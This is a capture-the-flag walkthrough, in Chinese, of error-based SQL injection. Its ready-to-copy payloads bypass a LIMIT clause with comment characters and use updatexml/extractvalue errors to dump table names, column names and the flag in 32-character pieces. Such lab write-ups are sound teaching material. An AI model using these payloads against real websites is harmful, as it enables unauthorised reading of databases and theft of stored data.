一、题目分析
1. 环境与注入点确认
- 题目地址:
http://180.76.235.121:32788/?id=1 - 后端 SQL 语句推测:
sql
SELECT * FROM users WHERE id='[输入]' LIMIT 0,1;- 注入类型:单引号闭合的报错注入(
updatexml/extractvalue) - 难点:末尾的
LIMIT 0,1会直接截断我们的 SQL 语句,导致语法错误,需要用注释符绕过。
二、解题思路总览
这道题的核心是绕过LIMIT 0,1限制 + 使用updatexml报错注入,完整流程如下:
- 用
--+或%23注释掉末尾的LIMIT 0,1,修复 SQL 语法 - 使用
updatexml函数爆数据库中的表名,找到存放 flag 的表 - 爆目标表的列名,找到存放 flag 的字段
- 读取 flag 数据,若受长度限制则用
substr()分段读取
三、详细解题步骤(附可直接复制的 Payload)
步骤 1:确认注入点并绕过LIMIT限制
在参数后加单引号测试,页面报错提示near ''1'' LIMIT 0,1',说明后端语句带有LIMIT 0,1。我们需要用注释符--+绕过它:
plaintext
?id=1' --+--+是 SQL 的注释符,会把后面的LIMIT 0,1注释掉,避免语法错误- 若
--+被过滤,可以用 URL 编码后的%23代替
步骤 2:爆数据库中的所有表名
使用updatexml函数爆当前数据库中的表名,找到存放 flag 的目标表:
plaintext
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+0x7e是~的十六进制,用于包裹数据,方便定位回显内容- 执行后,页面报错会显示所有表名,如
~users,tb1137ce31~,其中tb1137ce31就是存放 flag 的目标表。
步骤 3:爆目标表的列名
把目标表名替换进去,查询表中的列名:
plaintext
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='tb1137ce31'),0x7e),1)--+执行后,报错信息会显示列名,如~id,username,c4ec7f8c8~,其中c4ec7f8c8就是存放 flag 的列。
步骤 4:读取 flag 数据
4.1 直接读取完整 flag
把表名和列名替换进去,直接查询 flag:
plaintext
?id=1' and updatexml(1,concat(0x7e,(select c4ec7f8c8 from tb1137ce31 limit 0,1),0x7e),1)--+- 执行后,报错信息中
~包裹的字符串就是 flag。 - 若 flag 过长,受
updatexml32 字符限制无法完整显示,需要用substr()分段读取。
4.2 分段读取(解决长度限制)
第一段(第 1~32 位):
plaintext
?id=1' and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),1,32),0x7e),1)--+第二段(第 33 位之后):
plaintext
?id=1' and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),33,32),0x7e),1)--+把两次结果拼接起来,就是完整的 flag。
四、懒人版 Payload(大概率直接出 flag)
很多题目的表名和列名都直接叫flag,可以直接用下面这条 Payload 尝试:
plaintext
?id=1' and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)--+五、考点复盘与拓展
绕过
LIMIT限制后端语句带LIMIT 0,1时,直接用--+或%23注释掉即可,这是这类题的通用解法。updatexml报错注入原理updatexml(xml_doc, xpath_expr, new_val)函数的第二个参数需要合法的 XPath 路径,当传入非法路径时,会将参数内容回显在错误信息中,我们正是利用这一点来读取数据。updatexml长度限制解决方法updatexml单次最多只能回显 32 个字符,长字符串需要用substr()分段读取,多次查询后拼接结果即可。备选函数如果
updatexml被过滤,可以用extractvalue函数替代,Payload 结构完全相同:plaintext
?id=1' and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+
这道题完整演示了带LIMIT限制的报错注入全流程,掌握后就能轻松应对大多数类似题目啦!